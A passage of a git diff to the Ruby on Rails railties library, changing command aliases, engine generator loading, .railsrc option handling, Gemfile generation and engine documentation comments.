a/railties/lib/rails/code_statistics.rb +++ b/railties/lib/rails/code_statistics.rb @@ -30,7 +30,7 @@ class CodeStatistics #:nodoc: stats = { "lines" => 0, "codelines" => 0, "classes" => 0, "methods" => 0 } Dir.foreach(directory) do |file_name| - if File.stat(directory + "/" + file_name).directory? and (/^\./ !~ file_name) + if File.directory?(directory + "/" + file_name) and (/^\./ !~ file_name) newstats = calculate_directory_statistics(directory + "/" + file_name, pattern) stats.each { |k, v| stats[k] += newstats[k] } end @@ -104,4 +104,4 @@ class CodeStatistics #:nodoc: puts " Code LOC: #{code} Test LOC: #{tests} Code to Test Ratio: 1:#{sprintf("%.1f", tests.to_f/code)}" puts "" end - end +end diff --git a/railties/lib/rails/commands.rb b/railties/lib/rails/commands.rb index 4a082aedb8..ada150ceec 100644 --- a/railties/lib/rails/commands.rb +++ b/railties/lib/rails/commands.rb @@ -4,6 +4,7 @@ ARGV << '--help' if ARGV.empty? aliases = { "g" => "generate", + "d" => "destroy", "c" => "console", "s" => "server", "db" => "dbconsole", @@ -15,15 +16,15 @@ command = aliases[command] || command case command when 'generate', 'destroy', 'plugin' + require 'rails/generators' + if command == 'plugin' && ARGV.first == 'new' require "rails/commands/plugin_new" else require APP_PATH Rails.application.require_environment! - if defined?(ENGINE_PATH) && engine = Rails::Engine.find(ENGINE_PATH) - Rails.application = engine - end + Rails.application.load_generators require "rails/commands/#{command}" end @@ -87,13 +88,13 @@ The most common rails commands are: In addition to those, there are: application Generate the Rails application code - destroy Undo code generated with "generate" + destroy Undo code generated with "generate" (short-cut alias: "d") benchmarker See how fast a piece of code runs profiler Get profile information from a piece of code plugin Install a plugin - runner Run a piece of code in the application environment + runner Run a piece of code in the application environment (short-cut alias: "r") -All commands can be run with -h for more information. +All commands can be run with -h (or --help) for more information. EOT exit(1) end diff --git a/railties/lib/rails/commands/application.rb b/railties/lib/rails/commands/application.rb index f3fa1fd54d..60d1aed73a 100644 --- a/railties/lib/rails/commands/application.rb +++ b/railties/lib/rails/commands/application.rb @@ -9,10 +9,17 @@ if ARGV.first != "new" ARGV[0] = "--help" else ARGV.shift + railsrc = File.join(File.expand_path("~"), ".railsrc") + if File.exist?(railsrc) + extra_args_string = File.open(railsrc).read + extra_args = extra_args_string.split(/\n+/).map {|l| l.split}.flatten + puts "Using #{extra_args.join(" ")} from #{railsrc}" + ARGV << extra_args + ARGV.flatten! + end end require 'rubygems' if ARGV.include?("--dev") - require 'rails/generators' require 'rails/generators/rails/app/app_generator' diff --git a/railties/lib/rails/commands/benchmarker.rb b/railties/lib/rails/commands/benchmarker.rb index b06c915ac3..6c52d0f70f 100644 --- a/railties/lib/rails/commands/benchmarker.rb +++ b/railties/lib/rails/commands/benchmarker.rb @@ -9,7 +9,7 @@ ARGV.pop def options options = {} defaults = ActiveSupport::Testing::Performance::DEFAULTS - + OptionParser.new do |opt| opt.banner = "Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]" opt.on('-r', '--runs N', Numeric, 'Number of runs.', "Default: #{defaults[:runs]}") { |r| options[:runs] = r } @@ -17,13 +17,13 @@ def options opt.on('-m', '--metrics a,b,c', Array, 'Metrics to use.', "Default: #{defaults[:metrics].join(",")}") { |m| options[:metrics] = m.map(&:to_sym) } opt.parse!(ARGV) end - + options end class BenchmarkerTest < ActionDispatch::PerformanceTest self.profile_options = options - + ARGV.each do |expression| eval <<-RUBY def test_#{expression.parameterize('_')} diff --git a/railties/lib/rails/commands/console.rb b/railties/lib/rails/commands/console.rb index 66dbb5d11e..32e361d421 100644 --- a/railties/lib/rails/commands/console.rb +++ b/railties/lib/rails/commands/console.rb @@ -23,7 +23,8 @@ module Rails opt.parse!(ARGV) end - @app.load_console(options[:sandbox]) + @app.sandbox = options[:sandbox] + @app.load_console if options[:debugger] begin diff --git a/railties/lib/rails/commands/destroy.rb b/railties/lib/rails/commands/destroy.rb index 2a84e2a6df..ae354eca97 100644 --- a/railties/lib/rails/commands/destroy.rb +++ b/railties/lib/rails/commands/destroy.rb @@ -1,8 +1,6 @@ require 'rails/generators' require 'active_support/core_ext/object/inclusion' -Rails::Generators.configure! - if ARGV.first.in?([nil, "-h", "--help"]) Rails::Generators.help 'destroy' exit diff --git a/railties/lib/rails/commands/generate.rb b/railties/lib/rails/commands/generate.rb index 28c1c56352..1fb2d98834 100644 --- a/railties/lib/rails/commands/generate.rb +++ b/railties/lib/rails/commands/generate.rb @@ -1,12 +1,12 @@ require 'rails/generators' require 'active_support/core_ext/object/inclusion' -Rails::Generators.configure! - if ARGV.first.in?([nil, "-h", "--help"]) Rails::Generators.help 'generate' exit end name = ARGV.shift -Rails::Generators.invoke name, ARGV, :behavior => :invoke, :destination_root => Rails.root + +root = defined?(ENGINE_ROOT) ? ENGINE_ROOT : Rails.root +Rails::Generators.invoke name, ARGV, :behavior => :invoke, :destination_root => root diff --git a/railties/lib/rails/commands/plugin.rb b/railties/lib/rails/commands/plugin.rb index 048af7cbef..4df849447d 100644 --- a/railties/lib/rails/commands/plugin.rb +++ b/railties/lib/rails/commands/plugin.rb @@ -313,11 +313,11 @@ module Commands o.separator "" o.separator "EXAMPLES" o.separator " Install a plugin from a subversion URL:" - o.separator " #{@script_name} plugin install http://dev.rubyonrails.com/svn/rails/plugins/continuous_builder\n" + o.separator " #{@script_name} plugin install http://example.com/my_svn_plugin\n" o.separator " Install a plugin from a git URL:" o.separator " #{@script_name} plugin install git://github.com/SomeGuy/my_awesome_plugin.git\n" o.separator " Install a plugin and add a svn:externals entry to vendor/plugins" - o.separator " #{@script_name} plugin install -x continuous_builder\n" + o.separator " #{@script_name} plugin install -x my_svn_plugin\n" end end diff --git a/railties/lib/rails/commands/plugin_new.rb b/railties/lib/rails/commands/plugin_new.rb index 8baa8ebfd4..0287ba0638 100644 --- a/railties/lib/rails/commands/plugin_new.rb +++ b/railties/lib/rails/commands/plugin_new.rb @@ -1,3 +1,5 @@ +require 'rubygems' if ARGV.include?("--dev") + if ARGV.first != "new" ARGV[0] = "--help" else @@ -6,5 +8,4 @@ end require 'rails/generators' require 'rails/generators/rails/plugin_new/plugin_new_generator' - -Rails::Generators::PluginNewGenerator.start +Rails::Generators::PluginNewGenerator.start
\ No newline at end of file diff --git a/railties/lib/rails/commands/profiler.rb b/railties/lib/rails/commands/profiler.rb index 94cf32d32d..ea6347c918 100644 --- a/railties/lib/rails/commands/profiler.rb +++ b/railties/lib/rails/commands/profiler.rb @@ -6,7 +6,7 @@ require 'active_support/testing/performance' def options options = {} defaults = ActiveSupport::Testing::Performance::DEFAULTS - + OptionParser.new do |opt| opt.banner = "Usage: rails benchmarker 'Ruby.code' 'Ruby.more_code' ... [OPTS]" opt.on('-r', '--runs N', Numeric, 'Number of runs.', "Default: #{defaults[:runs]}") { |r| options[:runs] = r } @@ -15,13 +15,13 @@ def options opt.on('-f', '--formats x,y,z', Array, 'Formats to output to.', "Default: #{defaults[:formats].join(",")}") { |m| options[:formats] = m.map(&:to_sym) } opt.parse!(ARGV) end - + options end class ProfilerTest < ActionDispatch::PerformanceTest self.profile_options = options - + ARGV.each do |expression| eval <<-RUBY def test_#{expression.parameterize('_')} diff --git a/railties/lib/rails/commands/runner.rb b/railties/lib/rails/commands/runner.rb index f8b00e7249..e8cc5d9e3b 100644 --- a/railties/lib/rails/commands/runner.rb +++ b/railties/lib/rails/commands/runner.rb @@ -4,6 +4,10 @@ require 'rbconfig' options = { :environment => (ENV['RAILS_ENV'] || "development").dup } code_or_file = nil +if ARGV.first.nil? + ARGV.push "-h" +end + ARGV.clone.options do |opts| script_name = File.basename($0) opts.banner = "Usage: runner [options] ('Some.ruby(code)' or a filename)" diff --git a/railties/lib/rails/commands/server.rb b/railties/lib/rails/commands/server.rb index 505a4ca2bd..20484a10c8 100644 --- a/railties/lib/rails/commands/server.rb +++ b/railties/lib/rails/commands/server.rb @@ -43,7 +43,7 @@ module Rails end def app - @app ||= super.instance + @app ||= super.respond_to?(:to_app) ? super.to_app : super end def opt_parser @@ -78,6 +78,7 @@ module Rails middlewares = [] middlewares << [Rails::Rack::LogTailer, log_path] unless options[:daemonize] middlewares << [Rails::Rack::Debugger] if options[:debugger] + middlewares << [::Rack::ContentLength] Hash.new(middlewares) end diff --git a/railties/lib/rails/configuration.rb b/railties/lib/rails/configuration.rb index 66fab0a760..f8ad17773a 100644 --- a/railties/lib/rails/configuration.rb +++ b/railties/lib/rails/configuration.rb @@ -43,6 +43,7 @@ module Rails class Generators #:nodoc: attr_accessor :aliases, :options, :templates, :fallbacks, :colorize_logging + attr_reader :hidden_namespaces def initialize @aliases = Hash.new { |h,k| h[k] = {} } @@ -50,6 +51,7 @@ module Rails @fallbacks = {} @templates = [] @colorize_logging = true + @hidden_namespaces = [] end def initialize_copy(source) @@ -59,6 +61,10 @@ module Rails @templates = @templates.dup end + def hide_namespace(namespace) + @hidden_namespaces << namespace + end + def method_missing(method, *args) method = method.to_s.sub(/=$/, '').to_sym diff --git a/railties/lib/rails/engine.rb b/railties/lib/rails/engine.rb index e26f73ed8d..1c9627734e 100644 --- a/railties/lib/rails/engine.rb +++ b/railties/lib/rails/engine.rb @@ -5,13 +5,14 @@ require 'rbconfig' require 'rails/engine/railties' module Rails - # Rails::Engine allows you to wrap a specific Rails application and share it across - # different applications. Since Rails 3.0, every <tt>Rails::Application</tt> is nothing - # more than an engine, allowing you to share it very easily. + # <tt>Rails::Engine</tt> allows you to wrap a specific Rails application or subset of + # functionality and share it with other applications. Since Rails 3.0, every + # <tt>Rails::Application</tt> is just an engine, which allows for simple + # feature and application sharing. # - # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same methods - # (like <tt>rake_tasks</tt> and +generators+) and configuration available in the - # latter can also be used in the former. + # Any <tt>Rails::Engine</tt> is also a <tt>Rails::Railtie</tt>, so the same + # methods (like <tt>rake_tasks</tt> and +generators+) and configuration + # options that are available in railties can also be used in engines. # # == Creating an Engine # @@ -71,12 +72,13 @@ module Rails # # == Paths # - # Since Rails 3.0, both your application and engines do not have hardcoded paths. - # This means that you are not required to place your controllers at <tt>app/controllers</tt>, - # but in any place which you find convenient. + # Since Rails 3.0, applications and engines have more flexible path configuration (as + # opposed to the previous hardcoded path configuration). This means that you are not + # required to place your controllers at <tt>app/controllers</tt>, but in any place + # which you find convenient. # # For example, let's suppose you want to place your controllers in <tt>lib/controllers</tt>. - # All you would need to do is: + # You can set that as an option: # # class MyEngine < Rails::Engine # paths["app/controllers"] = "lib/controllers" @@ -105,9 +107,9 @@ module Rails # paths["config/routes"] # => ["config/routes.rb"] # end # - # Your <tt>Application</tt> class adds a couple more paths to this set. And as in your - # <tt>Application</tt>,all folders under +app+ are automatically added to the load path. - # So if you have <tt>app/observers</tt>, it's added by default. + # The <tt>Application</tt> class adds a couple more paths to this set. And as in your + # <tt>Application</tt>, all folders under +app+ are automatically added to the load path. + # If you have an <tt>app/observers</tt> folder for example, it will be added by default. # # == Endpoint # @@ -130,8 +132,8 @@ module Rails # # == Middleware stack # - # As an engine can now be rack endpoint, it can also have a middleware stack. The usage is exactly - # the same as in <tt>Application</tt>: + # As an engine can now be a rack endpoint, it can also have a middleware + # stack. The usage is exactly the same as in <tt>Application</tt>: # # module MyEngine # class Engine < Rails::Engine @@ -141,8 +143,8 @@ module Rails # # == Routes # - # If you don't specify an endpoint, routes will be used as the default endpoint. You can use them - # just like you use an application's routes: + # If you don't specify an endpoint, routes will be used as the default + # endpoint. You can use them just like you use an application's routes: # # # ENGINE/config/routes.rb # MyEngine::Engine.routes.draw do @@ -174,13 +176,14 @@ module Rails # == Engine name # # There are some places where an Engine's name is used: + # # * routes: when you mount an Engine with <tt>mount(MyEngine::Engine => '/my_engine')</tt>, # it's used as default :as option # * some of the rake tasks are based on engine name, e.g. <tt>my_engine:install:migrations</tt>, # <tt>my_engine:install:assets</tt> # # Engine name is set by default based on class name. For <tt>MyEngine::Engine</tt> it will be - # <tt>my_engine_engine</tt>. You can change it manually it manually using the <tt>engine_name</tt> method: + # <tt>my_engine_engine</tt>. You can change it manually using the <tt>engine_name</tt> method: # # module MyEngine # class Engine < Rails::Engine @@ -191,8 +194,8 @@ module Rails # == Isolated Engine # # Normally when you create controllers, helpers and models inside an engine, they are treated - # as they were created inside the application. This means all application helpers and named routes - # will be available to your engine's controllers. + # as if they were created inside the application itself. This means that all helpers and + # named routes from the application will be available to your engine's controllers as well. # # However, sometimes you want to isolate your engine from the application, especially if your engine # has its own router. To do that, you simply need to call +isolate_namespace+. This method requires @@ -217,7 +220,7 @@ module Rails # If an engine is marked as isolated, +FooController+ has access only to helpers from +Engine+ and # <tt>url_helpers</tt> from <tt>MyEngine::Engine.routes</tt>. # - # The next thing that changes in isolated engines is the behaviour of routes. Normally, when you namespace + # The next thing that changes in isolated engines is the behavior of routes. Normally, when you namespace # your controllers, you also need to do namespace all your routes. With an isolated engine, # the namespace is applied by default, so you can ignore it in routes: # @@ -229,7 +232,7 @@ module Rails # need to use longer url helpers like <tt>my_engine_articles_path</tt>. Instead, you should simply use # <tt>articles_path</tt> as you would do with your application. # - # To make that behaviour consistent with other parts of the framework, an isolated engine also has influence on + # To make that behavior consistent with other parts of the framework, an isolated engine also has influence on # <tt>ActiveModel::Naming</tt>. When you use a namespaced model, like <tt>MyEngine::Article</tt>, it will normally # use the prefix "my_engine". In an isolated engine, the prefix will be omitted in url helpers and # form fields for convenience. @@ -240,9 +243,9 @@ module Rails # text_field :title # => <input type="text" name="article[title]" id="article_title" /> # end # - # Additionally an isolated engine will set its name according to namespace, so + # Additionally, an isolated engine will set its name according to namespace, so # MyEngine::Engine.engine_name will be "my_engine". It will also set MyEngine.table_name_prefix - # to "my_engine_", changing MyEngine::Article model to use my_engine_article table. + # to "my_engine_", changing the MyEngine::Article model to use the my_engine_article table. # # == Using Engine's routes outside Engine # @@ -274,12 +277,13 @@ module Rails # end # end # - # Note that the <tt>:as</tt> option given to mount takes the <tt>engine_name</tT> as default, so most of the time + # Note that the <tt>:as</tt> option given to mount takes the <tt>engine_name</tt> as default, so most of the time # you can simply omit it. # - # Finally, if you want to generate a url to an engine's route using <tt>polymorphic_url</tt>, you also need - # to pass the engine helper. Let's say that you want to create a form pointing to one of the - # engine's routes. All you need to do is pass the helper as the first element in array with + # Finally, if you want to generate a url to an engine's route using + # <tt>polymorphic_url</tt>, you also need to pass the engine helper. Let's + # say that you want to create a form pointing to one of the engine's routes. + # All you need to do is pass the helper as the first element in array with # attributes for url: # # form_for([my_engine, @user]) @@ -296,7 +300,7 @@ module Rails # helper MyEngine::SharedEngineHelper # end # - # If you want to include all of the engine's helpers, you can use #helpers method on egine's + # If you want to include all of the engine's helpers, you can use #helpers method on an engine's # instance: # # class ApplicationController < ActionController::Base @@ -305,7 +309,7 @@ module Rails # # It will include all of the helpers from engine's directory. Take into account that this does # not include helpers defined in controllers with helper_method or other similar solutions, - # only helpers defined in helpers directory will be included. + # only helpers defined in the helpers directory will be included. # # == Migrations & seed data # @@ -319,7 +323,7 @@ module Rails # # Note that some of the migrations may be skipped if a migration with the same name already exists # in application. In such a situation you must decide whether to leave that migration or rename the - # migration in application and rerun copying migrations. + # migration in the application and rerun copying migrations. # # If your engine has migrations, you may also want to prepare data for the database in # the <tt>seeds.rb</tt> file. You can load that data using the <tt>load_seed</tt> method, e.g. @@ -330,6 +334,14 @@ module Rails autoload :Configuration, "rails/engine/configuration" autoload :Railties, "rails/engine/railties" + def load_generators(app=self) + initialize_generators + railties.all { |r| r.load_generators(app) } + Rails::Generators.configure!(app.config.generators) + super + self + end + class << self attr_accessor :called_from, :isolated alias :isolated? :isolated @@ -348,6 +360,7 @@ module Rails end def endpoint(endpoint = nil) + @endpoint ||= nil @endpoint = endpoint if endpoint @endpoint end @@ -387,12 +400,20 @@ module Rails delegate :middleware, :root, :paths, :to => :config delegate :engine_name, :isolated?, :to => "self.class" - def load_tasks + def load_tasks(app=self) + railties.all { |r| r.load_tasks(app) } super paths["lib/tasks"].existent.sort.each { |ext| load(ext) } end + def load_console(app=self) + railties.all { |r| r.load_console(app) } + super + end + def eager_load! + railties.all(&:eager_load!) + config.eager_load_paths.each do |load_path| matcher = /\A#{Regexp.escape(load_path)}\/(.*)\.rb\Z/ Dir.glob("#{load_path}/**/*.rb").sort.each do |file| @@ -467,7 +488,7 @@ module Rails # Blog::Engine.load_seed def load_seed seed_file = paths["db/seeds"].existent.first - load(seed_file) if File.exist?(seed_file) + load(seed_file) if seed_file && File.exist?(seed_file) end # Add configured load paths to ruby load paths and remove duplicates. @@ -516,15 +537,15 @@ module Rails end end - initializer :load_environment_config, :before => :load_environment_hook do + initializer :load_environment_config, :before => :load_environment_hook, :group => :all do environment = paths["config/environments"].existent.first require environment if environment end - initializer :append_assets_path do |app| - app.config.assets.paths.unshift(*paths["vendor/assets"].existent) - app.config.assets.paths.unshift(*paths["lib/assets"].existent) - app.config.assets.paths.unshift(*paths["app/assets"].existent) + initializer :append_assets_path, :group => :all do |app| + app.config.assets.paths.unshift(*paths["vendor/assets"].existent_directories) + app.config.assets.paths.unshift(*paths["lib/assets"].existent_directories) + app.config.assets.paths.unshift(*paths["app/assets"].existent_directories) end initializer :prepend_helpers_path do |app| @@ -561,12 +582,16 @@ module Rails protected + def initialize_generators + require "rails/generators" + end + def routes? defined?(@routes) end def has_migrations? - paths["db/migrate"].first.present? + paths["db/migrate"].existent.any? end def find_root_with_flag(flag, default=nil) diff --git a/railties/lib/rails/engine/commands.rb b/railties/lib/rails/engine/commands.rb new file mode 100644 index 0000000000..b71119af77 --- /dev/null +++ b/railties/lib/rails/engine/commands.rb @@ -0,0 +1,39 @@ +require 'active_support/core_ext/object/inclusion' + +ARGV << '--help' if ARGV.empty? + +aliases = { + "g" => "generate", + "d" => "destroy" +} + +command = ARGV.shift +command = aliases[command] || command + +require ENGINE_PATH +engine = ::Rails::Engine.find(ENGINE_ROOT) + +case command +when 'generate', 'destroy' + require 'rails/generators' + Rails::Generators.namespace = engine.railtie_namespace + engine.load_generators + require "rails/commands/#{command}" + +when '--version', '-v' + ARGV.unshift '--version' + require 'rails/commands/application' + +else + puts "Error: Command not recognized" unless command.in?(['-h', '--help']) + puts <<-EOT +Usage: rails COMMAND [ARGS] + +The common rails commands available for engines are: + generate Generate new code (short-cut alias: "g") + destroy Undo code generated with "generate" (short-cut alias: "d") + +All commands can be run with -h for more information. + EOT + exit(1) +end diff --git a/railties/lib/rails/generators.rb b/railties/lib/rails/generators.rb index 85c67af19a..27f8d13ce8 100644 --- a/railties/lib/rails/generators.rb +++ b/railties/lib/rails/generators.rb @@ -20,6 +20,8 @@ module Rails autoload :ResourceHelpers, 'rails/generators/resource_helpers' autoload :TestCase, 'rails/generators/test_case' + mattr_accessor :namespace + DEFAULT_ALIASES = { :rails => { :actions => '-a', @@ -51,13 +53,13 @@ module Rails :helper => true, :integration_tool => nil, :javascripts => true, - :javascript_engine => nil, + :javascript_engine => :js, :orm => false, :performance_tool => nil, :resource_controller => :controller, :scaffold_controller => :scaffold_controller, :stylesheets => true, - :stylesheet_engine => nil, + :stylesheet_engine => :css, :test_framework => false, :template_engine => :erb }, @@ -68,13 +70,14 @@ module Rails } } - def self.configure!(config = Rails.application.config.generators) #:nodoc: + def self.configure!(config) #:nodoc: no_color! unless config.colorize_logging aliases.deep_merge! config.aliases options.deep_merge! config.options fallbacks.merge! config.fallbacks templates_path.concat config.templates templates_path.uniq! + hide_namespaces(*config.hidden_namespaces) end def self.templates_path @@ -175,6 +178,7 @@ module Rails orm = options[:rails][:orm] test = options[:rails][:test_framework] template = options[:rails][:template_engine] + css = options[:rails][:stylesheet_engine] [ "rails", @@ -194,7 +198,11 @@ module Rails "#{test}:plugin", "#{template}:controller", "#{template}:scaffold", - "#{template}:mailer" + "#{template}:mailer", + "#{css}:scaffold", + "#{css}:assets", + "css:assets", + "css:scaffold" ] end end @@ -280,7 +288,6 @@ module Rails # Receives namespaces in an array and tries to find matching generators # in the load path. def self.lookup(namespaces) #:nodoc: - load_generators_from_railties! paths = namespaces_to_paths(namespaces) paths.each do |raw_path| @@ -292,9 +299,6 @@ module Rails return rescue LoadError => e raise unless e.message =~ /#{Regexp.escape(path)}$/ - rescue NameError => e - raise unless e.message =~ /Rails::Generator([\s(::)]|$)/ - warn "[WARNING] Could not load generator #{path.inspect} because it's a Rails 2.x generator, which is not supported anymore. Error: #{e.message}.\n#{e.backtrace.join("\n")}" rescue Exception => e warn "[WARNING] Could not load generator #{path.inspect}. Error: #{e.message}.\n#{e.backtrace.join("\n")}" end @@ -304,27 +308,18 @@ module Rails # This will try to load any generator in the load path to show in help. def self.lookup! #:nodoc: - load_generators_from_railties! - $LOAD_PATH.each do |base| Dir[File.join(base, "{rails/generators,generators}", "**", "*_generator.rb")].each do |path| begin path = path.sub("#{base}/", "") require path - rescue Exception => e + rescue Exception # No problem end end end end - # Allow generators to be loaded from custom paths. - def self.load_generators_from_railties! #:nodoc: - return if defined?(@generators_from_railties) || Rails.application.nil? - @generators_from_railties = true - Rails.application.load_generators - end - # Convert namespaces to paths by replacing ":" for "/" and adding # an extra lookup. For example, "rails:model" should be searched # in both: "rails/model/model_generator" and "rails/model_generator". diff --git a/railties/lib/rails/generators/actions.rb b/railties/lib/rails/generators/actions.rb index d31a3262e3..b26839644e 100644 --- a/railties/lib/rails/generators/actions.rb +++ b/railties/lib/rails/generators/actions.rb @@ -68,7 +68,32 @@ module Rails end in_root do - append_file "Gemfile", "gem #{parts.join(", ")}\n", :verbose => false + str = "gem #{parts.join(", ")}\n" + str = " " + str if @in_group + append_file "Gemfile", str, :verbose => false + end + end + + # Wraps gem entries inside a group. + # + # ==== Example + # + # gem_group :development, :test do + # gem "rspec-rails" + # end + # + def gem_group(*names, &block) + name = names.map(&:inspect).join(", ") + log :gemfile, "group #{name}" + + in_root do + append_file "Gemfile", "\ngroup #{name} do\n", :force => true + + @in_group = true + instance_eval(&block) + @in_group = false + + append_file "Gemfile", "end\n", :force => true end end @@ -92,14 +117,15 @@ module Rails # def environment(data=nil, options={}, &block) sentinel = /class [a-z_:]+ < Rails::Application/i + env_file_sentinel = /::Application\.configure do/ data = block.call if !data && block_given? in_root do if options[:env].nil? - inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false + inject_into_file 'config/application.rb', "\n #{data}", :after => sentinel, :verbose => false else - Array.wrap(options[:env]).each do|env| - append_file "config/environments/#{env}.rb", "\n#{data}", :verbose => false + Array.wrap(options[:env]).each do |env| + inject_into_file "config/environments/#{env}.rb", "\n #{data}", :after => env_file_sentinel, :verbose => false end end end @@ -114,12 +140,12 @@ module Rails # git :add => "this.file that.rb" # git :add => "onefile.rb", :rm => "badfile.cxx" # - def git(command={}) - if command.is_a?(Symbol) - run "git #{command}" + def git(commands={}) + if commands.is_a?(Symbol) + run "git #{commands}" else - command.each do |command, options| - run "git #{command} #{options}" + commands.each do |cmd, options| + run "git #{cmd} #{options}" end end end @@ -226,7 +252,7 @@ module Rails # def rake(command, options={}) log :rake, command - env = options[:env] || 'development' + env = options[:env] || ENV["RAILS_ENV"] || 'development' sudo = options[:sudo] && RbConfig::CONFIG['host_os'] !~ /mswin|mingw/ ? 'sudo ' : '' in_root { run("#{sudo}#{extify(:rake)} #{command} RAILS_ENV=#{env}", :verbose => false) } end diff --git a/railties/lib/rails/generators/app_base.rb b/railties/lib/rails/generators/app_base.rb index 8512b1ca4a..10fdfdd8a9 100644 --- a/railties/lib/rails/generators/app_base.rb +++ b/railties/lib/rails/generators/app_base.rb @@ -1,5 +1,5 @@ require 'digest/md5' -require 'active_support/secure_random' +require 'securerandom' require 'active_support/core_ext/string/strip' require 'rails/version' unless defined?(Rails::VERSION) require 'rbconfig' @@ -9,8 +9,8 @@ require 'uri' module Rails module Generators class AppBase < Base - DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db ) - JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql ) + DATABASES = %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver ) + JDBC_DATABASES = %w( jdbcmysql jdbcsqlite3 jdbcpostgresql jdbc ) DATABASES.concat(JDBC_DATABASES) attr_accessor :rails_template @@ -37,6 +37,9 @@ module Rails class_option :skip_active_record, :type => :boolean, :aliases => "-O", :default => false, :desc => "Skip Active Record files" + class_option :skip_sprockets, :type => :boolean, :aliases => "-S", :default => false, + :desc => "Skip Sprockets files" + class_option :database, :type => :string, :aliases => "-d", :default => "sqlite3", :desc => "Preconfigure for selected database (options: #{DATABASES.join('/')})" @@ -64,8 +67,8 @@ module Rails def initialize(*args) @original_wd = Dir.pwd - super + convert_database_option_for_jruby end protected @@ -124,47 +127,62 @@ module Rails end def include_all_railties? - !options[:skip_active_record] && !options[:skip_test_unit] + !options[:skip_active_record] && !options[:skip_test_unit] && !options[:skip_sprockets] end def comment_if(value) - options[value] ? '#' : '' + options[value] ? '# ' : '' end def rails_gemfile_entry if options.dev? <<-GEMFILE.strip_heredoc gem 'rails', :path => '#{Rails::Generators::RAILS_DEV_PATH}' + gem 'journey', :git => 'git://github.com/rails/journey.git' GEMFILE elsif options.edge? <<-GEMFILE.strip_heredoc gem 'rails', :git => 'git://github.com/rails/rails.git' + gem 'journey', :git => 'git://github.com/rails/journey.git' GEMFILE else <<-GEMFILE.strip_heredoc gem 'rails', '#{Rails::VERSION::STRING}' # Bundle edge Rails instead: - # gem 'rails', :git => 'git://github.com/rails/rails.git' + # gem 'rails', :git => 'git://github.com/rails/rails.git' GEMFILE end end def gem_for_database - # %w( mysql oracle postgresql sqlite3 frontbase ibm_db jdbcmysql jdbcsqlite3 jdbcpostgresql ) + # %w( mysql oracle postgresql sqlite3 frontbase ibm_db sqlserver jdbcmysql jdbcsqlite3 jdbcpostgresql ) case options[:database] - when "oracle" then "ruby-oci8" - when "postgresql" then "pg" - when "frontbase" then "ruby-frontbase" - when "mysql" then "mysql2" - when "jdbcmysql" then "activerecord-jdbcmysql-adapter" - when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter" - when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter" + when "oracle" then "ruby-oci8" + when "postgresql" then "pg" + when "frontbase" then "ruby-frontbase" + when "mysql" then "mysql2" + when "sqlserver" then "activerecord-sqlserver-adapter" + when "jdbcmysql" then "activerecord-jdbcmysql-adapter" + when "jdbcsqlite3" then "activerecord-jdbcsqlite3-adapter" + when "jdbcpostgresql" then "activerecord-jdbcpostgresql-adapter" + when "jdbc" then "activerecord-jdbc-adapter" else options[:database] end end - def gem_for_ruby_debugger + def convert_database_option_for_jruby + if defined?(JRUBY_VERSION) + case options[:database] + when "oracle" then options[:database].replace "jdbc" + when "postgresql" then options[:database].replace "jdbcpostgresql" + when "mysql" then options[:database].replace "jdbcmysql" + when "sqlite3" then options[:database].replace "jdbcsqlite3" + end + end + end + + def ruby_debugger_gemfile_entry if RUBY_VERSION < "1.9" "gem 'ruby-debug'" else @@ -172,29 +190,36 @@ module Rails end end - def gem_for_turn - unless RUBY_VERSION < "1.9.2" || options[:skip_test_unit] - <<-GEMFILE.strip_heredoc - group :test do - # Pretty printed test output - gem 'turn', :require => false - end - GEMFILE - end + def assets_gemfile_entry + <<-GEMFILE.strip_heredoc + # Gems used only for assets and not required + # in production environments by default. + group :assets do + gem 'sass-rails', :git => 'git://github.com/rails/sass-rails.git' + gem 'coffee-rails', :git => 'git://github.com/rails/coffee-rails.git' + gem 'uglifier', '>= 1.0.3' + end + GEMFILE end - def gem_for_javascript + def javascript_gemfile_entry "gem '#{options[:javascript]}-rails'" unless options[:skip_javascript] end def bundle_command(command) - require 'bundler' - require 'bundler/cli' - say_status :run, "bundle #{command}" - Bundler::CLI.new.send(command) - rescue - say_status :failure, "bundler raised an exception, are you offline?", :red + + # We are going to shell out rather than invoking Bundler::CLI.new(command) + # because `rails new` loads the Thor gem and on the other hand bundler uses + # its own vendored Thor, which could be a different version. Running both + # things in the same process is a recipe for a night with paracetamol. + # + # We use backticks and #print here instead of vanilla #system because it + # is easier to silence stdout in the existing test suite this way. The + # end-user gets the bundler commands called anyway, so no big deal. + # + # Thanks to James Tucker for the Gem tricks involved in this call. + print `"#{Gem.ruby}" -rubygems "#{Gem.bin_path('bundler', 'bundle')}" #{command}` end def run_bundle diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb index 1f6a7a2f59..f38a487a4e 100644 --- a/railties/lib/rails/generators/base.rb +++ b/railties/lib/rails/generators/base.rb @@ -34,7 +34,7 @@ module Rails usage = source_root && File.expand_path("../USAGE", source_root) @desc ||= if usage && File.exist?(usage) - File.read(usage) + ERB.new(File.read(usage)).result(binding) else "Description:\n Create #{base_name.humanize.downcase} files for #{generator_name} generator." end @@ -91,7 +91,7 @@ module Rails # # The lookup in this case for test_unit as input is: # - # "test_unit:awesome", "test_unit" + # "test_framework:awesome", "test_framework" # # Which is not the desired the lookup. You can change it by providing the # :as option: @@ -102,7 +102,7 @@ module Rails # # And now it will lookup at: # - # "test_unit:controller", "test_unit" + # "test_framework:controller", "test_framework" # # Similarly, if you want it to also lookup in the rails namespace, you just # need to provide the :base value: @@ -113,7 +113,7 @@ module Rails # # And the lookup is exactly the same as previously: # - # "rails:test_unit", "test_unit:controller", "test_unit" + # "rails:test_framework", "test_framework:controller", "test_framework" # # ==== Switches # @@ -259,9 +259,9 @@ module Rails extra << false unless Object.method(:const_defined?).arity == 1 # Extract the last Module in the nesting - last = nesting.inject(Object) do |last, nest| - break unless last.const_defined?(nest, *extra) - last.const_get(nest) + last = nesting.inject(Object) do |last_module, nest| + break unless last_module.const_defined?(nest, *extra) + last_module.const_get(nest) end if last && last.const_defined?(last_name.camelize, *extra) diff --git 